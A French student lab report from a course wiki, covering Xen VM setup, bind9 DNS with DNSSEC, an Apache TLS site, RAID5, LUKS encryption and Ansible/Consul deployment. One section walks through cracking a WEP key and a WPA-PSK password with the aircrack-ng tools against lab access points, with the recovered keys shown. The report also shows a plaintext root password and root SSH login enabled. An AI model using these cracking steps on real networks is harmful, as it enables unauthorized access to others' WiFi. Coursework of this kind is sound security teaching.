TP sysres IMA5 2021/2022 G4

De Wiki d'activités IMA

Cablage Réseau

Machine Virtuelle

Création de la machine virtuelle

On se connecte d'abord à la machine virtuelle capbreton avec la commande suivante:

 ssh root@capbreton

Ensuite on inclut le proxy de polytech lille dans nos variable d'environnement avec la commande suivante:

 export http_proxy=http://proxy.plil.fr:3128

Commande pour la création de la machine virtuelle:

root@capbreton:~$ xen-create-image --hostname=Karmeliet --ip=193.48.57.179 --gateway=193.48.57.187 --netmask=255.255.255.240 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

On créé 2 LV de 10 Go pour les allouer plus tard mais pour cela nous devons d'abord voir quel volume groupe choisir (on choisit celui qui dispose du plus grand espace).

root@capbreton:~# vgdisplay
 --- Volume group ---
 VG Name               storage
 System ID             
 Format                lvm2
 Metadata Areas        2
 Metadata Sequence No  152
 VG Access             read/write
 VG Status             resizable
 MAX LV                0
 Cur LV                26
 Open LV               16
 Max PV                0
 Cur PV                2
 Act PV                2
 VG Size               <5.46 TiB
 PE Size               4.00 MiB
 Total PE              1430526
 Alloc PE / Size       50176 / 196.00 GiB
 Free  PE / Size       1380350 / <5.27 TiB
 VG UUID               eusQhE-lOxZ-cQqQ-uFxt-dYjG-LuwI-HL0flc


root@capbreton:~$ lvcreate -L10G -n Karmeliet1 storage
root@capbreton:~$ lvcreate -L10G -n Karmeliet2 storage

Il est nécessaire de les formater au format ext4 :

root@capbreton:~$ mkfs.ext4 /dev/storage/Karmeliet1
root@capbreton:~$ mkfs.ext4 /dev/storage/Karmeliet2

Dans notre fichier /etc/xen/Karmeliet.cfg, on doit indiquer que notre VM doit possèder les volumes logiques que l'on a créé auparavant (Karmeliet1 et Karmeliet2). Il est, également, nécessaire d'indiquer le bridge IMA5sc.

root@capbreton:~$ vim /etc/xen/Karmeliet.cfg
#Disk device(s).
#
root        = '/dev/xvda2 ro'
disk        = [
                 'file:/usr/local/xen/domains/Karmeliet/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/Karmeliet/swap.img,xvda1,w',
                 'phy:/dev/storage/Karmeliet1,xvda3,w',
                 'phy:/dev/storage/Karmeliet2,xvda4,w'
             ]
#Networking
#
vif         = [ 'ip=193.48.57.179 ,mac=00:16:3E:5E:59:17 ,bridge=IMA5sc' ]


On lance la machine virtuelle :

root@capbreton:~$ xl create -c /etc/xen/Karmeliet.cfg


On doit créer xvda3 et xvda4 pour nos répertoires var et home:

root@Karmeliet:~$ mkdir /mnt/xvda3
root@Karmeliet:~$ mkdir /mnt/xvda4
root@Karmeliet:~$ mount /dev/xvda3 /mnt/xvda3
root@Karmeliet:~$ mount /dev/xvda4 /mnt/xvda4

Le répertoire var doit être placé dans le disque xvda4 :

root@Karmeliet:~$ mv /var/* /mnt/xvda4

Dans le fichier /etc/fstab, il est nécesaire d'ajouter les lignes ci-dessous pour pouvoir monter les disques par la suite:

root@Karmeliet:~$ /dev/xvda3 /home ext4 defaults 0 2
root@Karmeliet:~$ /dev/xvda4 /var ext4 defaults 0 2

La commande suivant permet de monter les disques :

root@Karmeliet:~$ mount -a

Pour vérifier que le montage s'est faite correctement, on peut voir avec la commande lsblk si les partitions sont bien visibles :

root@Karmeliet:~$ lsblk
NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
xvda1 202:1    0  512M  0 disk [SWAP]
xvda2 202:2    0    4G  0 disk /
xvda3 202:3    0   10G  0 disk /home
xvda4 202:4    0   10G  0 disk /var

Pour accéder à notre VM :

root@capbreton:~# xen console Karmeliet

Services Internet

Connexion ssh

Pour se connecter en ssh, nous allons dans le fichier se trouvant au chemin :

/etc/ssh/sshd_config

On décommente Port et PermitRootLogin et on leur donne la valeur :

Port 22222
PermitRootLogin Yes

On a plus qu'à se connecter via ssh  :

ssh root@193.48.57.179 -p 22222


DNS

On réserve un nom de domaine sur ghandi.net, en l'occurrence le notre sera :

karmeliet.site

On rentre notre adresse IPv4 dans le "Glue records"

193.48.57.179

On ajoute nos DNS primaire et secondaire pour obtenir un nom de serveur

ns1.karmeliet.site (primaire)
ns6.gandi.net (secondaire)

Configuration de bind9

On installe les paquets

apt install bind9

On change le fichier /etc/resolv.conf

nameserver 127.0.0.1

On va configurer notre DNS primaire dans le fichier de configuration /etc/bind/named.conf.local De plus, on autorise le transfert d'information avec le DNS Secondaire (217.70.177.40)

zone "karmeliet.site" {
  type master;
  file "/etc/bind/db.karmeliet.site";
  allow-transfer { 217.70.177.40; };
};

On créé un fichier db.karmeliet.site ayant le même template que db.local

;
; BIND data file for local loopback interface
;
$TTL    604800
@       IN      SOA      ns1.karmeliet.site.  postmaster.karmeliet.site(
                             4         ; Serial
                        604800         ; Refresh
                         86400         ; Retry
                       2419200         ; Expire
                        604800 )       ; Negative Cache TTL
;
@       IN      NS      ns1.karmeliet.site.
@       IN      NS      ns6.gandi.net.
ns1     IN      A       193.48.57.179

Sécurisation de serveur DNS par DNSSEC

On ajoute dans le fichier named.conf.options

dnssec-enable yes; 

On va dans le dossier bind

/etc/bind

On crée le dossier karmeliet.site.dnssec

mkdir karmeliet.site.dnssec

On crée la clef asymétrique de signature de clefs de zone

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE karmeliet.site

On crée la clef asymétrique de la zone pour signer les enregistrements

dnssec-keygen -a RSASHA1 -b 1024 -n ZONE karmeliet.site

On renomme les deux paires de clefs avec le nom de notre zone en ajoutant -ksk et -zsk pour les clefs correspondantes.

On inclue les clefs publiques dans votre fichier de zone db.karmeliet.site et on incrémente le numéro de version de la zone

$include /etc/bind/karmeliet.site.dnssec/karmeliet.site-ksk.key
$include /etc/bind/karmeliet.site.dnssec/karmeliet.site-zsk.key

On signe les enregistrements de la zone

dnssec-signzone -o karmeliet.site -k karmeliet.site-ksk ../db.karmeliet.site karmeliet.site-zsk

On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe db.karmeliet.site.signed;

Il ne reste plus qu’à communiquer la partie publique de la KSK dans gandi.net

Certificat

Dans Gandi.net, on achète notre certificat en allant sur

SSL certificate

On nous demande une "Certificate Request" CSR que l'on a grâce à la commande

openssl req -nodes -newkey rsa:2048 -sha256 -keyout myserver.key -out server.csr

On remplit les différentes informations que l'on nous demande et on récupère notre csr dans server.csr à la fin de la commande.

On va sur la page de notre certificat pour gandi et on copie colle comme ceci dans notre fichier db.karmeliet.site pour que notre certficat soit valide

;
; BIND data file for local loopback interface
;
$TTL    604800
@       IN      SOA      ns1.karmeliet.site.  postmaster.karmeliet.site(
                             4         ; Serial
                        604800         ; Refresh
                         86400         ; Retry
                       2419200         ; Expire
                        604800 )       ; Negative Cache TTL
;
@       IN      NS      ns1.karmeliet.site.
@       IN      NS      ns6.gandi.net.
ns1     IN      A       193.48.57.179
www	IN	A	193.48.57.179
_D83578361950694C7CBA2CF57DDA0CE7.karmeliet.site. 10800 IN CNAME BEF099045291643A940FA49D11E8FB10.4CCF28E6A180333498A3F008A8B6CB32.0e21313c9c6df2403142.sectigo.com.

Serveur apache

On installe un serveur apache pour vérifier que tout fonctionne

apt install apache2

Pour installer apache correctement on a suivi les instructions sur ce site

https://ubuntu.com/tutorials/install-and-configure-apache#1-overview

Puis on a modifié notre fichier de configuration apache se trouvant dans /etc/apache2/sites-available pour y mettre notre certificat :

<VirtualHost *:80>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/karmeliet.site
        ServerName karmeliet.site
        ServerAlias www.karmeliet.site
        Redirect permanent / https://karmeliet.site/

</VirtualHost> 

<VirtualHost *:443>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/karmeliet.site
        ServerName karmeliet.site
        ServerAlias www.karmeliet.site 


        SSLEngine on
        SSLCertificateFile /root/karmeliet.site.crt
        SSLCertificateKeyFile /root/karmeliet.site.key

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

Tests d'intrusions

5.2 Cassage de clef WEP d’un point d’accès WiFi

Cette commande sert à récupérer le nom de l'interface réseau:

airmon-ng

Notre interface réseau s'appelle "wlan0mon" (renommé automatiquement parce que celui de base était trop long)

On démarre l'interface sur le channel 3 :

airmon-ng start wlan0mon 3

On récupère le BSSID du point d'accès sur lequel on veut récupérer la clé WEP

airodump-ng wlan0mon 

On réalise un test d'injection sur cracotte10

aireplay-ng -9 -e cracotte10 -a 04:DA:D2:9C:50:59 wlan0mon

On récupère les VI générés par le point d'accès pour les stocker dans output :

airodump-ng -c 3 --bssid 04:DA:D2:9C:50:59 -w output wlan0mon

On effectue de fausses authentifications

aireplay-ng -1 0 -e cracotte10 -a 04:DA:D2:9C:50:59 -h 40:A5:EF:D2:11:67 wlan0mon

La clef WEP est alors décriptable :

aircrack-ng -b 04:DA:D2:9C:50:59 output*.cap

Le résultat obtenu est le suivant :

KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44 ] 
Decrypted correctly: 100%

5.3 Cassage de mot de passe WPA-PSK par force brute

Comme pour le cassage de la clé WEP, on utilise aircrack-ng:

airmon-ng

On récupère le nom de notre interface qui est wlan0mon puis on le lance en mode moniteur sur le channel 7:

airmon-ng start wlan0mon 4

Il nous faut un point d'accès pour pouvoir casser une clé WPA en récupérant son BSSID:

airodump-ng wlan0mon

On choisit kracotte11 avec un BSSID 44:AD:D9:5F:87:0A, on récupère ce qu'on appelle "handshake" et on le sauvegarde dans un fichier sauv:

airodump-ng -c 4 --bssid 44:AD:D9:5F:87:0A -w sauv wlan0mon

On peut commencer le crackage:

aircrack-ng sauv-01.cap -w dico.txt

On obtiens après quelques heures le résultat :

KEY FOUND! [ 59911999 ]
Master Key : EF A3 6F 02 E7 F1 DF 01 62 03 92 87 81 ED 99 6D 
             25 28 7D D6 54 FC 29 41 5D BD E9 02 26 E7 F0 58

Réalisation

Sécurisation de données

Nous créons trois partitions LVM de 1Go dans le groupe de volume storage avec comme noms celui de notre serveur

lvcreate -L1G -n karmeliet.site-raid1 storage
lvcreate -L1G -n karmeliet.site-raid2 storage
lvcreate -L1G -n karmeliet.site-raid3 storage

Nous ajoutons les partitions à notre fichier de configuration qui se trouve dans /etc/xen/Karmeliet.cfg

'phy:/dev/storage/karmeliet.site-raid1,xvdb1,w',
'phy:/dev/storage/karmeliet.site-raid2,xvdb2,w',
'phy:/dev/storage/karmeliet.site-raid3,xvdb3,w'

On éteint puis relance la VM et on crée la partition Raid

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvdb1 /dev/xvdb2 /dev/xvdb3

On formate la partition en ext4

mkfs.ext4 /dev/md0

On ajoute au fichier /etc/fstab la partition formaté /dev/md0 pour qu'il soit monté durant le démarrage de la VM

/dev/md0 /media/raid ext4 defaults 0 1
mount -a

Chiffrement de données

On installe avec apt cryptsetup

apt install lvm2 cryptsetup

On regarde où est notre clé usb grâce à la commande lsblk, dans notre cas elle est dans sdb

On la formatte

mkfs.ext4 /dev/sdb

On initialise notre clé USB avec l'option luksFormat et on choisis un mot de passe

cryptsetup luksFormat /dev/sdb

On ouvre notre partition chiffrée avec luksOpen (le nom du volume sera karmeliet_crypted) et on la formatte :

cryptsetup luksOpen /dev/sdc karmeliet_crypted
mkfs.ext4 /dev/mapper/karmeliet_crypted

On monte la partition

mkdir /mnt/karmelietCrypte
mount -t ext4 /dev/mapper/karmeliet_crypted /mnt/karmelietCrypte/ 

On y ajoute un fichier texte hello dans lequel on écrit "cc" puis on démonte la clé et on ferme le volume chiffré

umount /mnt/karmelietCrypte
cryptsetup luksClose karmeliet_crypted

On a plus qu'a aller tester notre clé USB en la montant sur l'ordinateur d'un autre binôme et cela nous demande bien de rentrer un mot de passe notre clé est chiffré.

Ferme de serveurs Web

Ansible

Se connecter à notre VM pra-04

xen console /etc/xen/pra-04.cfg

On modifie le fichier /etc/network/interfaces

iface eth0 inet static
address 172.26.145.104
gateway 172.26.145.254
netmask 255.255.255.0

On ping sur notre zabeth pour savoir s'il communique bien ensemble

ping 172.26.145.58

On clone le git sur la zabeth puis on travaille dans le dossier

git clone https://github.com/thomas-maurice/polytech-asr-lab.git

On génère sur la zabeth une clé ssh

ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "selim.bensalem@polytech-lille.net" -P 

Sur la zabeth, on rajoute au fichier authorized_keys la clé ssh précédemment créée et sur la VM, on crée un fichier authorized_keys avec la même clé

On ajoute un role ssh_key

- name: "Deploy ssh_keys"
 template:
   src: authorized_keys.j2
   dest: /root/.ssh/authorized_keys
   owner: root
   group: root
   mode: '0600

On crée une template pour copier tous les clés dans authorized_keys de la VM

 % for ssh_key in ssh_keys%}
{{ssh_key["key"]}}
{% endfor %}

On lance ansible

ansible-playbook -v -i inventory polytech.yaml

Consult

on installe consult et un container docker

---
- name: "Create group"
  group:
    name: consul
    gid: 666
- name: "Create user"
  user:
    name: consul
    group: consul
    uid: 666
- name: "Create /etc/consul"
  file:
    path: /etc/consul
    state: directory
    owner: consul
    group: consul
- name: "Create /var/lib/consul"
  file:
    path: /var/lib/consul
    state: directory
    owner: consul
    group: consul
- name: "Client json"
  copy:
    src: consul.json
    dest: /etc/consul/consul.json
    owner: consul
    group: consul
- name: "Start consul with container"
  docker_container:
    name: dockerConsul
    image: bitnami/consul
    volumes:
      - /etc/consul
    network_mode: host
    user: consul
    groups:
      - consul